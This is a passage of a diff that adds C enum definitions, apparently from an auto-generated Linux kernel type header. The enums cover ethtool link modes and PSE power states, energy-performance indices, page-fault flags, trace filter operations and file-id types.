+ ELEVATOR_DISCARD_MERGE = 3, +}; + +enum enable_type { + undefined = -1, + user_disabled = 0, + auto_disabled = 1, + user_enabled = 2, + auto_enabled = 3, +}; + +enum energy_perf_value_index { + EPB_INDEX_PERFORMANCE = 0, + EPB_INDEX_BALANCE_PERFORMANCE = 1, + EPB_INDEX_NORMAL = 2, + EPB_INDEX_BALANCE_POWERSAVE = 3, + EPB_INDEX_POWERSAVE = 4, +}; + +enum energy_perf_value_index___2 { + EPP_INDEX_DEFAULT = 0, + EPP_INDEX_PERFORMANCE = 1, + EPP_INDEX_BALANCE_PERFORMANCE = 2, + EPP_INDEX_BALANCE_POWERSAVE = 3, + EPP_INDEX_POWERSAVE = 4, +}; + +enum environment_cap { + ENVIRON_ANY = 0, + ENVIRON_INDOOR = 1, + ENVIRON_OUTDOOR = 2, +}; + +enum error_detector { + ERROR_DETECTOR_KFENCE = 0, + ERROR_DETECTOR_KASAN = 1, + ERROR_DETECTOR_WARN = 2, +}; + +enum ethnl_sock_type { + ETHTOOL_SOCK_TYPE_MODULE_FW_FLASH = 0, +}; + +enum ethtool_c33_pse_admin_state { + ETHTOOL_C33_PSE_ADMIN_STATE_UNKNOWN = 1, + ETHTOOL_C33_PSE_ADMIN_STATE_DISABLED = 2, + ETHTOOL_C33_PSE_ADMIN_STATE_ENABLED = 3, +}; + +enum ethtool_c33_pse_ext_state { + ETHTOOL_C33_PSE_EXT_STATE_ERROR_CONDITION = 1, + ETHTOOL_C33_PSE_EXT_STATE_MR_MPS_VALID = 2, + ETHTOOL_C33_PSE_EXT_STATE_MR_PSE_ENABLE = 3, + ETHTOOL_C33_PSE_EXT_STATE_OPTION_DETECT_TED = 4, + ETHTOOL_C33_PSE_EXT_STATE_OPTION_VPORT_LIM = 5, + ETHTOOL_C33_PSE_EXT_STATE_OVLD_DETECTED = 6, + ETHTOOL_C33_PSE_EXT_STATE_PD_DLL_POWER_TYPE = 7, + ETHTOOL_C33_PSE_EXT_STATE_POWER_NOT_AVAILABLE = 8, + ETHTOOL_C33_PSE_EXT_STATE_SHORT_DETECTED = 9, +}; + +enum ethtool_c33_pse_ext_substate_error_condition { + ETHTOOL_C33_PSE_EXT_SUBSTATE_ERROR_CONDITION_NON_EXISTING_PORT = 1, + ETHTOOL_C33_PSE_EXT_SUBSTATE_ERROR_CONDITION_UNDEFINED_PORT = 2, + ETHTOOL_C33_PSE_EXT_SUBSTATE_ERROR_CONDITION_INTERNAL_HW_FAULT = 3, + ETHTOOL_C33_PSE_EXT_SUBSTATE_ERROR_CONDITION_COMM_ERROR_AFTER_FORCE_ON = 4, + ETHTOOL_C33_PSE_EXT_SUBSTATE_ERROR_CONDITION_UNKNOWN_PORT_STATUS = 5, + ETHTOOL_C33_PSE_EXT_SUBSTATE_ERROR_CONDITION_HOST_CRASH_TURN_OFF = 6, + ETHTOOL_C33_PSE_EXT_SUBSTATE_ERROR_CONDITION_HOST_CRASH_FORCE_SHUTDOWN = 7, + ETHTOOL_C33_PSE_EXT_SUBSTATE_ERROR_CONDITION_CONFIG_CHANGE = 8, + ETHTOOL_C33_PSE_EXT_SUBSTATE_ERROR_CONDITION_DETECTED_OVER_TEMP = 9, +}; + +enum ethtool_c33_pse_ext_substate_mr_pse_enable { + ETHTOOL_C33_PSE_EXT_SUBSTATE_MR_PSE_ENABLE_DISABLE_PIN_ACTIVE = 1, +}; + +enum ethtool_c33_pse_ext_substate_option_detect_ted { + ETHTOOL_C33_PSE_EXT_SUBSTATE_OPTION_DETECT_TED_DET_IN_PROCESS = 1, + ETHTOOL_C33_PSE_EXT_SUBSTATE_OPTION_DETECT_TED_CONNECTION_CHECK_ERROR = 2, +}; + +enum ethtool_c33_pse_ext_substate_option_vport_lim { + ETHTOOL_C33_PSE_EXT_SUBSTATE_OPTION_VPORT_LIM_HIGH_VOLTAGE = 1, + ETHTOOL_C33_PSE_EXT_SUBSTATE_OPTION_VPORT_LIM_LOW_VOLTAGE = 2, + ETHTOOL_C33_PSE_EXT_SUBSTATE_OPTION_VPORT_LIM_VOLTAGE_INJECTION = 3, +}; + +enum ethtool_c33_pse_ext_substate_ovld_detected { + ETHTOOL_C33_PSE_EXT_SUBSTATE_OVLD_DETECTED_OVERLOAD = 1, +}; + +enum ethtool_c33_pse_ext_substate_power_not_available { + ETHTOOL_C33_PSE_EXT_SUBSTATE_POWER_NOT_AVAILABLE_BUDGET_EXCEEDED = 1, + ETHTOOL_C33_PSE_EXT_SUBSTATE_POWER_NOT_AVAILABLE_PORT_PW_LIMIT_EXCEEDS_CONTROLLER_BUDGET = 2, + ETHTOOL_C33_PSE_EXT_SUBSTATE_POWER_NOT_AVAILABLE_PD_REQUEST_EXCEEDS_PORT_LIMIT = 3, + ETHTOOL_C33_PSE_EXT_SUBSTATE_POWER_NOT_AVAILABLE_HW_PW_LIMIT = 4, +}; + +enum ethtool_c33_pse_ext_substate_short_detected { + ETHTOOL_C33_PSE_EXT_SUBSTATE_SHORT_DETECTED_SHORT_CONDITION = 1, +}; + +enum ethtool_c33_pse_pw_d_status { + ETHTOOL_C33_PSE_PW_D_STATUS_UNKNOWN = 1, + ETHTOOL_C33_PSE_PW_D_STATUS_DISABLED = 2, + ETHTOOL_C33_PSE_PW_D_STATUS_SEARCHING = 3, + ETHTOOL_C33_PSE_PW_D_STATUS_DELIVERING = 4, + ETHTOOL_C33_PSE_PW_D_STATUS_TEST = 5, + ETHTOOL_C33_PSE_PW_D_STATUS_FAULT = 6, + ETHTOOL_C33_PSE_PW_D_STATUS_OTHERFAULT = 7, +}; + +enum ethtool_cmis_cdb_cmd_id { + ETHTOOL_CMIS_CDB_CMD_QUERY_STATUS = 0, + ETHTOOL_CMIS_CDB_CMD_MODULE_FEATURES = 64, + ETHTOOL_CMIS_CDB_CMD_FW_MANAGMENT_FEATURES = 65, + ETHTOOL_CMIS_CDB_CMD_START_FW_DOWNLOAD = 257, + ETHTOOL_CMIS_CDB_CMD_WRITE_FW_BLOCK_LPL = 259, + ETHTOOL_CMIS_CDB_CMD_COMPLETE_FW_DOWNLOAD = 263, + ETHTOOL_CMIS_CDB_CMD_RUN_FW_IMAGE = 265, + ETHTOOL_CMIS_CDB_CMD_COMMIT_FW_IMAGE = 266, +}; + +enum ethtool_fec_config_bits { + ETHTOOL_FEC_NONE_BIT = 0, + ETHTOOL_FEC_AUTO_BIT = 1, + ETHTOOL_FEC_OFF_BIT = 2, + ETHTOOL_FEC_RS_BIT = 3, + ETHTOOL_FEC_BASER_BIT = 4, + ETHTOOL_FEC_LLRS_BIT = 5, +}; + +enum ethtool_flags { + ETH_FLAG_TXVLAN = 128, + ETH_FLAG_RXVLAN = 256, + ETH_FLAG_LRO = 32768, + ETH_FLAG_NTUPLE = 134217728, + ETH_FLAG_RXHASH = 268435456, +}; + +enum ethtool_header_flags { + ETHTOOL_FLAG_COMPACT_BITSETS = 1, + ETHTOOL_FLAG_OMIT_REPLY = 2, + ETHTOOL_FLAG_STATS = 4, +}; + +enum ethtool_link_ext_state { + ETHTOOL_LINK_EXT_STATE_AUTONEG = 0, + ETHTOOL_LINK_EXT_STATE_LINK_TRAINING_FAILURE = 1, + ETHTOOL_LINK_EXT_STATE_LINK_LOGICAL_MISMATCH = 2, + ETHTOOL_LINK_EXT_STATE_BAD_SIGNAL_INTEGRITY = 3, + ETHTOOL_LINK_EXT_STATE_NO_CABLE = 4, + ETHTOOL_LINK_EXT_STATE_CABLE_ISSUE = 5, + ETHTOOL_LINK_EXT_STATE_EEPROM_ISSUE = 6, + ETHTOOL_LINK_EXT_STATE_CALIBRATION_FAILURE = 7, + ETHTOOL_LINK_EXT_STATE_POWER_BUDGET_EXCEEDED = 8, + ETHTOOL_LINK_EXT_STATE_OVERHEAT = 9, + ETHTOOL_LINK_EXT_STATE_MODULE = 10, +}; + +enum ethtool_link_ext_substate_autoneg { + ETHTOOL_LINK_EXT_SUBSTATE_AN_NO_PARTNER_DETECTED = 1, + ETHTOOL_LINK_EXT_SUBSTATE_AN_ACK_NOT_RECEIVED = 2, + ETHTOOL_LINK_EXT_SUBSTATE_AN_NEXT_PAGE_EXCHANGE_FAILED = 3, + ETHTOOL_LINK_EXT_SUBSTATE_AN_NO_PARTNER_DETECTED_FORCE_MODE = 4, + ETHTOOL_LINK_EXT_SUBSTATE_AN_FEC_MISMATCH_DURING_OVERRIDE = 5, + ETHTOOL_LINK_EXT_SUBSTATE_AN_NO_HCD = 6, +}; + +enum ethtool_link_ext_substate_bad_signal_integrity { + ETHTOOL_LINK_EXT_SUBSTATE_BSI_LARGE_NUMBER_OF_PHYSICAL_ERRORS = 1, + ETHTOOL_LINK_EXT_SUBSTATE_BSI_UNSUPPORTED_RATE = 2, + ETHTOOL_LINK_EXT_SUBSTATE_BSI_SERDES_REFERENCE_CLOCK_LOST = 3, + ETHTOOL_LINK_EXT_SUBSTATE_BSI_SERDES_ALOS = 4, +}; + +enum ethtool_link_ext_substate_cable_issue { + ETHTOOL_LINK_EXT_SUBSTATE_CI_UNSUPPORTED_CABLE = 1, + ETHTOOL_LINK_EXT_SUBSTATE_CI_CABLE_TEST_FAILURE = 2, +}; + +enum ethtool_link_ext_substate_link_logical_mismatch { + ETHTOOL_LINK_EXT_SUBSTATE_LLM_PCS_DID_NOT_ACQUIRE_BLOCK_LOCK = 1, + ETHTOOL_LINK_EXT_SUBSTATE_LLM_PCS_DID_NOT_ACQUIRE_AM_LOCK = 2, + ETHTOOL_LINK_EXT_SUBSTATE_LLM_PCS_DID_NOT_GET_ALIGN_STATUS = 3, + ETHTOOL_LINK_EXT_SUBSTATE_LLM_FC_FEC_IS_NOT_LOCKED = 4, + ETHTOOL_LINK_EXT_SUBSTATE_LLM_RS_FEC_IS_NOT_LOCKED = 5, +}; + +enum ethtool_link_ext_substate_link_training { + ETHTOOL_LINK_EXT_SUBSTATE_LT_KR_FRAME_LOCK_NOT_ACQUIRED = 1, + ETHTOOL_LINK_EXT_SUBSTATE_LT_KR_LINK_INHIBIT_TIMEOUT = 2, + ETHTOOL_LINK_EXT_SUBSTATE_LT_KR_LINK_PARTNER_DID_NOT_SET_RECEIVER_READY = 3, + ETHTOOL_LINK_EXT_SUBSTATE_LT_REMOTE_FAULT = 4, +}; + +enum ethtool_link_ext_substate_module { + ETHTOOL_LINK_EXT_SUBSTATE_MODULE_CMIS_NOT_READY = 1, +}; + +enum ethtool_link_mode_bit_indices { + ETHTOOL_LINK_MODE_10baseT_Half_BIT = 0, + ETHTOOL_LINK_MODE_10baseT_Full_BIT = 1, + ETHTOOL_LINK_MODE_100baseT_Half_BIT = 2, + ETHTOOL_LINK_MODE_100baseT_Full_BIT = 3, + ETHTOOL_LINK_MODE_1000baseT_Half_BIT = 4, + ETHTOOL_LINK_MODE_1000baseT_Full_BIT = 5, + ETHTOOL_LINK_MODE_Autoneg_BIT = 6, + ETHTOOL_LINK_MODE_TP_BIT = 7, + ETHTOOL_LINK_MODE_AUI_BIT = 8, + ETHTOOL_LINK_MODE_MII_BIT = 9, + ETHTOOL_LINK_MODE_FIBRE_BIT = 10, + ETHTOOL_LINK_MODE_BNC_BIT = 11, + ETHTOOL_LINK_MODE_10000baseT_Full_BIT = 12, + ETHTOOL_LINK_MODE_Pause_BIT = 13, + ETHTOOL_LINK_MODE_Asym_Pause_BIT = 14, + ETHTOOL_LINK_MODE_2500baseX_Full_BIT = 15, + ETHTOOL_LINK_MODE_Backplane_BIT = 16, + ETHTOOL_LINK_MODE_1000baseKX_Full_BIT = 17, + ETHTOOL_LINK_MODE_10000baseKX4_Full_BIT = 18, + ETHTOOL_LINK_MODE_10000baseKR_Full_BIT = 19, + ETHTOOL_LINK_MODE_10000baseR_FEC_BIT = 20, + ETHTOOL_LINK_MODE_20000baseMLD2_Full_BIT = 21, + ETHTOOL_LINK_MODE_20000baseKR2_Full_BIT = 22, + ETHTOOL_LINK_MODE_40000baseKR4_Full_BIT = 23, + ETHTOOL_LINK_MODE_40000baseCR4_Full_BIT = 24, + ETHTOOL_LINK_MODE_40000baseSR4_Full_BIT = 25, + ETHTOOL_LINK_MODE_40000baseLR4_Full_BIT = 26, + ETHTOOL_LINK_MODE_56000baseKR4_Full_BIT = 27, + ETHTOOL_LINK_MODE_56000baseCR4_Full_BIT = 28, + ETHTOOL_LINK_MODE_56000baseSR4_Full_BIT = 29, + ETHTOOL_LINK_MODE_56000baseLR4_Full_BIT = 30, + ETHTOOL_LINK_MODE_25000baseCR_Full_BIT = 31, + ETHTOOL_LINK_MODE_25000baseKR_Full_BIT = 32, + ETHTOOL_LINK_MODE_25000baseSR_Full_BIT = 33, + ETHTOOL_LINK_MODE_50000baseCR2_Full_BIT = 34, + ETHTOOL_LINK_MODE_50000baseKR2_Full_BIT = 35, + ETHTOOL_LINK_MODE_100000baseKR4_Full_BIT = 36, + ETHTOOL_LINK_MODE_100000baseSR4_Full_BIT = 37, + ETHTOOL_LINK_MODE_100000baseCR4_Full_BIT = 38, + ETHTOOL_LINK_MODE_100000baseLR4_ER4_Full_BIT = 39, + ETHTOOL_LINK_MODE_50000baseSR2_Full_BIT = 40, + ETHTOOL_LINK_MODE_1000baseX_Full_BIT = 41, + ETHTOOL_LINK_MODE_10000baseCR_Full_BIT = 42, + ETHTOOL_LINK_MODE_10000baseSR_Full_BIT = 43, + ETHTOOL_LINK_MODE_10000baseLR_Full_BIT = 44, + ETHTOOL_LINK_MODE_10000baseLRM_Full_BIT = 45, + ETHTOOL_LINK_MODE_10000baseER_Full_BIT = 46, + ETHTOOL_LINK_MODE_2500baseT_Full_BIT = 47, + ETHTOOL_LINK_MODE_5000baseT_Full_BIT = 48, + ETHTOOL_LINK_MODE_FEC_NONE_BIT = 49, + ETHTOOL_LINK_MODE_FEC_RS_BIT = 50, + ETHTOOL_LINK_MODE_FEC_BASER_BIT = 51, + ETHTOOL_LINK_MODE_50000baseKR_Full_BIT = 52, + ETHTOOL_LINK_MODE_50000baseSR_Full_BIT = 53, + ETHTOOL_LINK_MODE_50000baseCR_Full_BIT = 54, + ETHTOOL_LINK_MODE_50000baseLR_ER_FR_Full_BIT = 55, + ETHTOOL_LINK_MODE_50000baseDR_Full_BIT = 56, + ETHTOOL_LINK_MODE_100000baseKR2_Full_BIT = 57, + ETHTOOL_LINK_MODE_100000baseSR2_Full_BIT = 58, + ETHTOOL_LINK_MODE_100000baseCR2_Full_BIT = 59, + ETHTOOL_LINK_MODE_100000baseLR2_ER2_FR2_Full_BIT = 60, + ETHTOOL_LINK_MODE_100000baseDR2_Full_BIT = 61, + ETHTOOL_LINK_MODE_200000baseKR4_Full_BIT = 62, + ETHTOOL_LINK_MODE_200000baseSR4_Full_BIT = 63, + ETHTOOL_LINK_MODE_200000baseLR4_ER4_FR4_Full_BIT = 64, + ETHTOOL_LINK_MODE_200000baseDR4_Full_BIT = 65, + ETHTOOL_LINK_MODE_200000baseCR4_Full_BIT = 66, + ETHTOOL_LINK_MODE_100baseT1_Full_BIT = 67, + ETHTOOL_LINK_MODE_1000baseT1_Full_BIT = 68, + ETHTOOL_LINK_MODE_400000baseKR8_Full_BIT = 69, + ETHTOOL_LINK_MODE_400000baseSR8_Full_BIT = 70, + ETHTOOL_LINK_MODE_400000baseLR8_ER8_FR8_Full_BIT = 71, + ETHTOOL_LINK_MODE_400000baseDR8_Full_BIT = 72, + ETHTOOL_LINK_MODE_400000baseCR8_Full_BIT = 73, + ETHTOOL_LINK_MODE_FEC_LLRS_BIT = 74, + ETHTOOL_LINK_MODE_100000baseKR_Full_BIT = 75, + ETHTOOL_LINK_MODE_100000baseSR_Full_BIT = 76, + ETHTOOL_LINK_MODE_100000baseLR_ER_FR_Full_BIT = 77, + ETHTOOL_LINK_MODE_100000baseCR_Full_BIT = 78, + ETHTOOL_LINK_MODE_100000baseDR_Full_BIT = 79, + ETHTOOL_LINK_MODE_200000baseKR2_Full_BIT = 80, + ETHTOOL_LINK_MODE_200000baseSR2_Full_BIT = 81, + ETHTOOL_LINK_MODE_200000baseLR2_ER2_FR2_Full_BIT = 82, + ETHTOOL_LINK_MODE_200000baseDR2_Full_BIT = 83, + ETHTOOL_LINK_MODE_200000baseCR2_Full_BIT = 84, + ETHTOOL_LINK_MODE_400000baseKR4_Full_BIT = 85, + ETHTOOL_LINK_MODE_400000baseSR4_Full_BIT = 86, + ETHTOOL_LINK_MODE_400000baseLR4_ER4_FR4_Full_BIT = 87, + ETHTOOL_LINK_MODE_400000baseDR4_Full_BIT = 88, + ETHTOOL_LINK_MODE_400000baseCR4_Full_BIT = 89, + ETHTOOL_LINK_MODE_100baseFX_Half_BIT = 90, + ETHTOOL_LINK_MODE_100baseFX_Full_BIT = 91, + ETHTOOL_LINK_MODE_10baseT1L_Full_BIT = 92, + ETHTOOL_LINK_MODE_800000baseCR8_Full_BIT = 93, + ETHTOOL_LINK_MODE_800000baseKR8_Full_BIT = 94, + ETHTOOL_LINK_MODE_800000baseDR8_Full_BIT = 95, + ETHTOOL_LINK_MODE_800000baseDR8_2_Full_BIT = 96, + ETHTOOL_LINK_MODE_800000baseSR8_Full_BIT = 97, + ETHTOOL_LINK_MODE_800000baseVR8_Full_BIT = 98, + ETHTOOL_LINK_MODE_10baseT1S_Full_BIT = 99, + ETHTOOL_LINK_MODE_10baseT1S_Half_BIT = 100, + ETHTOOL_LINK_MODE_10baseT1S_P2MP_Half_BIT = 101, + ETHTOOL_LINK_MODE_10baseT1BRR_Full_BIT = 102, + __ETHTOOL_LINK_MODE_MASK_NBITS = 103, +}; + +enum ethtool_mac_stats_src { + ETHTOOL_MAC_STATS_SRC_AGGREGATE = 0, + ETHTOOL_MAC_STATS_SRC_EMAC = 1, + ETHTOOL_MAC_STATS_SRC_PMAC = 2, +}; + +enum ethtool_mm_verify_status { + ETHTOOL_MM_VERIFY_STATUS_UNKNOWN = 0, + ETHTOOL_MM_VERIFY_STATUS_INITIAL = 1, + ETHTOOL_MM_VERIFY_STATUS_VERIFYING = 2, + ETHTOOL_MM_VERIFY_STATUS_SUCCEEDED = 3, + ETHTOOL_MM_VERIFY_STATUS_FAILED = 4, + ETHTOOL_MM_VERIFY_STATUS_DISABLED = 5, +}; + +enum ethtool_module_fw_flash_status { + ETHTOOL_MODULE_FW_FLASH_STATUS_STARTED = 1, + ETHTOOL_MODULE_FW_FLASH_STATUS_IN_PROGRESS = 2, + ETHTOOL_MODULE_FW_FLASH_STATUS_COMPLETED = 3, + ETHTOOL_MODULE_FW_FLASH_STATUS_ERROR = 4, +}; + +enum ethtool_module_power_mode { + ETHTOOL_MODULE_POWER_MODE_LOW = 1, + ETHTOOL_MODULE_POWER_MODE_HIGH = 2, +}; + +enum ethtool_module_power_mode_policy { + ETHTOOL_MODULE_POWER_MODE_POLICY_HIGH = 1, + ETHTOOL_MODULE_POWER_MODE_POLICY_AUTO = 2, +}; + +enum ethtool_multicast_groups { + ETHNL_MCGRP_MONITOR = 0, +}; + +enum ethtool_phys_id_state { + ETHTOOL_ID_INACTIVE = 0, + ETHTOOL_ID_ACTIVE = 1, + ETHTOOL_ID_ON = 2, + ETHTOOL_ID_OFF = 3, +}; + +enum ethtool_podl_pse_admin_state { + ETHTOOL_PODL_PSE_ADMIN_STATE_UNKNOWN = 1, + ETHTOOL_PODL_PSE_ADMIN_STATE_DISABLED = 2, + ETHTOOL_PODL_PSE_ADMIN_STATE_ENABLED = 3, +}; + +enum ethtool_podl_pse_pw_d_status { + ETHTOOL_PODL_PSE_PW_D_STATUS_UNKNOWN = 1, + ETHTOOL_PODL_PSE_PW_D_STATUS_DISABLED = 2, + ETHTOOL_PODL_PSE_PW_D_STATUS_SEARCHING = 3, + ETHTOOL_PODL_PSE_PW_D_STATUS_DELIVERING = 4, + ETHTOOL_PODL_PSE_PW_D_STATUS_SLEEP = 5, + ETHTOOL_PODL_PSE_PW_D_STATUS_IDLE = 6, + ETHTOOL_PODL_PSE_PW_D_STATUS_ERROR = 7, +}; + +enum ethtool_reset_flags { + ETH_RESET_MGMT = 1, + ETH_RESET_IRQ = 2, + ETH_RESET_DMA = 4, + ETH_RESET_FILTER = 8, + ETH_RESET_OFFLOAD = 16, + ETH_RESET_MAC = 32, + ETH_RESET_PHY = 64, + ETH_RESET_RAM = 128, + ETH_RESET_AP = 256, + ETH_RESET_DEDICATED = 65535, + ETH_RESET_ALL = 4294967295, +}; + +enum ethtool_sfeatures_retval_bits { + ETHTOOL_F_UNSUPPORTED__BIT = 0, + ETHTOOL_F_WISH__BIT = 1, + ETHTOOL_F_COMPAT__BIT = 2, +}; + +enum ethtool_stringset { + ETH_SS_TEST = 0, + ETH_SS_STATS = 1, + ETH_SS_PRIV_FLAGS = 2, + ETH_SS_NTUPLE_FILTERS = 3, + ETH_SS_FEATURES = 4, + ETH_SS_RSS_HASH_FUNCS = 5, + ETH_SS_TUNABLES = 6, + ETH_SS_PHY_STATS = 7, + ETH_SS_PHY_TUNABLES = 8, + ETH_SS_LINK_MODES = 9, + ETH_SS_MSG_CLASSES = 10, + ETH_SS_WOL_MODES = 11, + ETH_SS_SOF_TIMESTAMPING = 12, + ETH_SS_TS_TX_TYPES = 13, + ETH_SS_TS_RX_FILTERS = 14, + ETH_SS_UDP_TUNNEL_TYPES = 15, + ETH_SS_STATS_STD = 16, + ETH_SS_STATS_ETH_PHY = 17, + ETH_SS_STATS_ETH_MAC = 18, + ETH_SS_STATS_ETH_CTRL = 19, + ETH_SS_STATS_RMON = 20, + ETH_SS_COUNT = 21, +}; + +enum ethtool_supported_ring_param { + ETHTOOL_RING_USE_RX_BUF_LEN = 1, + ETHTOOL_RING_USE_CQE_SIZE = 2, + ETHTOOL_RING_USE_TX_PUSH = 4, + ETHTOOL_RING_USE_RX_PUSH = 8, + ETHTOOL_RING_USE_TX_PUSH_BUF_LEN = 16, + ETHTOOL_RING_USE_TCP_DATA_SPLIT = 32, +}; + +enum ethtool_test_flags { + ETH_TEST_FL_OFFLINE = 1, + ETH_TEST_FL_FAILED = 2, + ETH_TEST_FL_EXTERNAL_LB = 4, + ETH_TEST_FL_EXTERNAL_LB_DONE = 8, +}; + +enum event_command_flags { + EVENT_CMD_FL_POST_TRIGGER = 1, + EVENT_CMD_FL_NEEDS_REC = 2, +}; + +enum event_trigger_type { + ETT_NONE = 0, + ETT_TRACE_ONOFF = 1, + ETT_SNAPSHOT = 2, + ETT_STACKTRACE = 4, + ETT_EVENT_ENABLE = 8, + ETT_EVENT_HIST = 16, + ETT_HIST_ENABLE = 32, + ETT_EVENT_EPROBE = 64, +}; + +enum event_type_t { + EVENT_FLEXIBLE = 1, + EVENT_PINNED = 2, + EVENT_TIME = 4, + EVENT_FROZEN = 8, + EVENT_CPU = 16, + EVENT_CGROUP = 32, + EVENT_ALL = 3, + EVENT_TIME_FROZEN = 12, +}; + +enum exact_level { + NOT_EXACT = 0, + EXACT = 1, + RANGE_WITHIN = 2, +}; + +enum execmem_range_flags { + EXECMEM_KASAN_SHADOW = 1, +}; + +enum execmem_type { + EXECMEM_DEFAULT = 0, + EXECMEM_MODULE_TEXT = 0, + EXECMEM_KPROBES = 1, + EXECMEM_FTRACE = 2, + EXECMEM_BPF = 3, + EXECMEM_MODULE_DATA = 4, + EXECMEM_TYPE_MAX = 5, +}; + +enum ext4_journal_trigger_type { + EXT4_JTR_ORPHAN_FILE = 0, + EXT4_JTR_NONE = 1, +}; + +enum ext4_li_mode { + EXT4_LI_MODE_PREFETCH_BBITMAP = 0, + EXT4_LI_MODE_ITABLE = 1, +}; + +enum ext_nvm_offsets { + MAC_ADDRESS_OVERRIDE_EXT_NVM = 1, + NVM_VERSION_EXT_NVM = 0, + N_HW_ADDRS_FAMILY_8000 = 3, + RADIO_CFG_FAMILY_EXT_NVM = 0, + SKU_FAMILY_8000 = 2, + NVM_CHANNELS_EXTENDED = 0, + NVM_LAR_OFFSET_OLD = 1223, + NVM_LAR_OFFSET = 1287, + NVM_LAR_ENABLED = 7, +}; + +enum extra_reg_type { + EXTRA_REG_NONE = -1, + EXTRA_REG_RSP_0 = 0, + EXTRA_REG_RSP_1 = 1, + EXTRA_REG_LBR = 2, + EXTRA_REG_LDLAT = 3, + EXTRA_REG_FE = 4, + EXTRA_REG_SNOOP_0 = 5, + EXTRA_REG_SNOOP_1 = 6, + EXTRA_REG_MAX = 7, +}; + +enum fail_dup_mod_reason { + FAIL_DUP_MOD_BECOMING = 0, + FAIL_DUP_MOD_LOAD = 1, +}; + +enum fault_flag { + FAULT_FLAG_WRITE = 1, + FAULT_FLAG_MKWRITE = 2, + FAULT_FLAG_ALLOW_RETRY = 4, + FAULT_FLAG_RETRY_NOWAIT = 8, + FAULT_FLAG_KILLABLE = 16, + FAULT_FLAG_TRIED = 32, + FAULT_FLAG_USER = 64, + FAULT_FLAG_REMOTE = 128, + FAULT_FLAG_INSTRUCTION = 256, + FAULT_FLAG_INTERRUPTIBLE = 512, + FAULT_FLAG_UNSHARE = 1024, + FAULT_FLAG_ORIG_PTE_VALID = 2048, + FAULT_FLAG_VMA_LOCK = 4096, +}; + +enum fbq_type { + regular = 0, + remote = 1, + all = 2, +}; + +enum fetch_op { + FETCH_OP_NOP = 0, + FETCH_OP_REG = 1, + FETCH_OP_STACK = 2, + FETCH_OP_STACKP = 3, + FETCH_OP_RETVAL = 4, + FETCH_OP_IMM = 5, + FETCH_OP_COMM = 6, + FETCH_OP_ARG = 7, + FETCH_OP_FOFFS = 8, + FETCH_OP_DATA = 9, + FETCH_OP_EDATA = 10, + FETCH_OP_DEREF = 11, + FETCH_OP_UDEREF = 12, + FETCH_OP_ST_RAW = 13, + FETCH_OP_ST_MEM = 14, + FETCH_OP_ST_UMEM = 15, + FETCH_OP_ST_STRING = 16, + FETCH_OP_ST_USTRING = 17, + FETCH_OP_ST_SYMSTR = 18, + FETCH_OP_ST_EDATA = 19, + FETCH_OP_MOD_BF = 20, + FETCH_OP_LP_ARRAY = 21, + FETCH_OP_TP_ARG = 22, + FETCH_OP_END = 23, + FETCH_NOP_SYMBOL = 24, +}; + +enum fib6_walk_state { + FWS_L = 0, + FWS_R = 1, + FWS_C = 2, + FWS_U = 3, +}; + +enum fib_event_type { + FIB_EVENT_ENTRY_REPLACE = 0, + FIB_EVENT_ENTRY_APPEND = 1, + FIB_EVENT_ENTRY_ADD = 2, + FIB_EVENT_ENTRY_DEL = 3, + FIB_EVENT_RULE_ADD = 4, + FIB_EVENT_RULE_DEL = 5, + FIB_EVENT_NH_ADD = 6, + FIB_EVENT_NH_DEL = 7, + FIB_EVENT_VIF_ADD = 8, + FIB_EVENT_VIF_DEL = 9, +}; + +enum fid_type { + FILEID_ROOT = 0, + FILEID_INO32_GEN = 1, + FILEID_INO32_GEN_PARENT = 2, + FILEID_BTRFS_WITHOUT_PARENT = 77, + FILEID_BTRFS_WITH_PARENT = 78, + FILEID_BTRFS_WITH_PARENT_ROOT = 79, + FILEID_UDF_WITHOUT_PARENT = 81, + FILEID_UDF_WITH_PARENT = 82, + FILEID_NILFS_WITHOUT_PARENT = 97, + FILEID_NILFS_WITH_PARENT = 98, + FILEID_FAT_WITHOUT_PARENT = 113, + FILEID_FAT_WITH_PARENT = 114, + FILEID_INO64_GEN = 129, + FILEID_INO64_GEN_PARENT = 130, + FILEID_LUSTRE = 151, + FILEID_BCACHEFS_WITHOUT_PARENT = 177, + FILEID_BCACHEFS_WITH_PARENT = 178, + FILEID_KERNFS = 254, + FILEID_INVALID = 255, +}; + +enum field_op_id { + FIELD_OP_NONE = 0, + FIELD_OP_PLUS = 1, + FIELD_OP_MINUS = 2, + FIELD_OP_UNARY_MINUS = 3, + FIELD_OP_DIV = 4, + FIELD_OP_MULT = 5, +}; + +enum file_time_flags { + S_ATIME = 1, + S_MTIME = 2, + S_CTIME = 4, + S_VERSION = 8, +}; + +enum filter_op_ids { + OP_GLOB = 0, + OP_NE = 1, + OP_EQ = 2, + OP_LE = 3, + OP_LT = 4, + OP_GE = 5, + OP_GT = 6, + OP_BAND = 7, + OP_MAX = 8, +}; + +enum filter_pred_fn { + FILTER_PRED_FN_NOP = 0, + FILTER_PRED_FN_64 = 1, + FILTER_PRED_FN_64_CPUMASK = 2, + FILTER_PRED_FN_S64 = 3, + FILTER_PRED_FN_U64 = 4, + FILTER_PRED_FN_32 = 5, + FILTER_PRED_FN_32_CPUMASK = 6, + FILTER_PRED_FN_S32 = 7, + FILTER_PRED_FN_U32 = 8, + FILTER_PRED_FN_16 = 9, + FILTER_PRED_FN_16_CPUMASK = 10, + FILTER_PRED_FN_S16 = 11, + FILTER_PRED_FN_U16 = 12, + FILTER_PRED_FN_8 = 13, + FILTER_PRED_FN_8_CPUMASK = 14, + FILTER_PRED_FN_S8 = 15, + FILTER_PRED_FN_U8 = 16, + FILTER_PRED_FN_COMM = 17, + FILTER_PRED_FN_STRING = 18, + FILTER_PRED_FN_STRLOC = 19, + FILTER_PRED_FN_STRRELLOC = 20, + FILTER_PRED_FN_PCHAR_USER = 21, + FILTER_PRED_FN_PCHAR = 22, + FILTER_PRED_FN_CPU = 23, + FILTER_PRED_FN_CPU_CPUMASK = 24, + FILTER_PRED_FN_CPUMASK = 25, + FILTER_PRED_FN_CPUMASK_CPU = 26, + FILTER_PRED_FN_FUNCTION = 27, + FILTER_PRED_FN_ = 28, + FILTER_PRED_TEST_VISITED = 29, +}; + +enum firmware_errors { + FW_OK = 0, + FW_BAD_CRC = 1, + FW_BAD_LENGTH = 2, + FW_BAD_VERSION = 3, +}; + +enum fit_type { + NOTHING_FIT = 0, + FL_FIT_TYPE = 1, + LE_FIT_TYPE = 2, + RE_FIT_TYPE = 3, + NE_FIT_TYPE = 4, +}; + +enum fixed_addresses { + VSYSCALL_PAGE = 511, + FIX_DBGP_BASE = 512, + 